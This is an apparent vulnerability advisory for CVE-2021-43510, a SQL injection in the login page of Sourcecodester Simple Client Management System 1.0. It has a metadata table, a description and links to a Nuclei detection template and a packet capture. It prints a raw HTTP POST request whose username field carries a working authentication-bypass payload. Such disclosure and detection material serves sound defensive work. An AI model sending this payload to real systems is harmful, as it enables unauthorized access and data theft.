| Title | Sourcecodester Simple Client Management System 1.0 - SQL Injection |
|---|---|
| Author | edoardottt |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. |
| Remediation | Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Sourcecodester Simple Client Management System 1.0. |
| CVSS Score | 9.8 |
| EPSS Score | 0.67767 |
| CVE ID | CVE-2021-43510 |
| CWE ID | CWE-89 |
| Tags | cve2021 cve simpleclientmanagement sqli auth-bypass simple_client_management_system_project vuln |
Sourcecodester Simple Client Management System 1.0 contains a SQL injection vulnerability via the username field in login.php. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
POST /classes/Login.php?f=login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Content-Length: 44
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
username=admin'+or+'1'%3d'1'--+-&password=as
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/603.1.10 (KHTML, like Gecko) Version/10.1 Safari/603.1.10
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-43510.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-43510.pcap
N/AN/A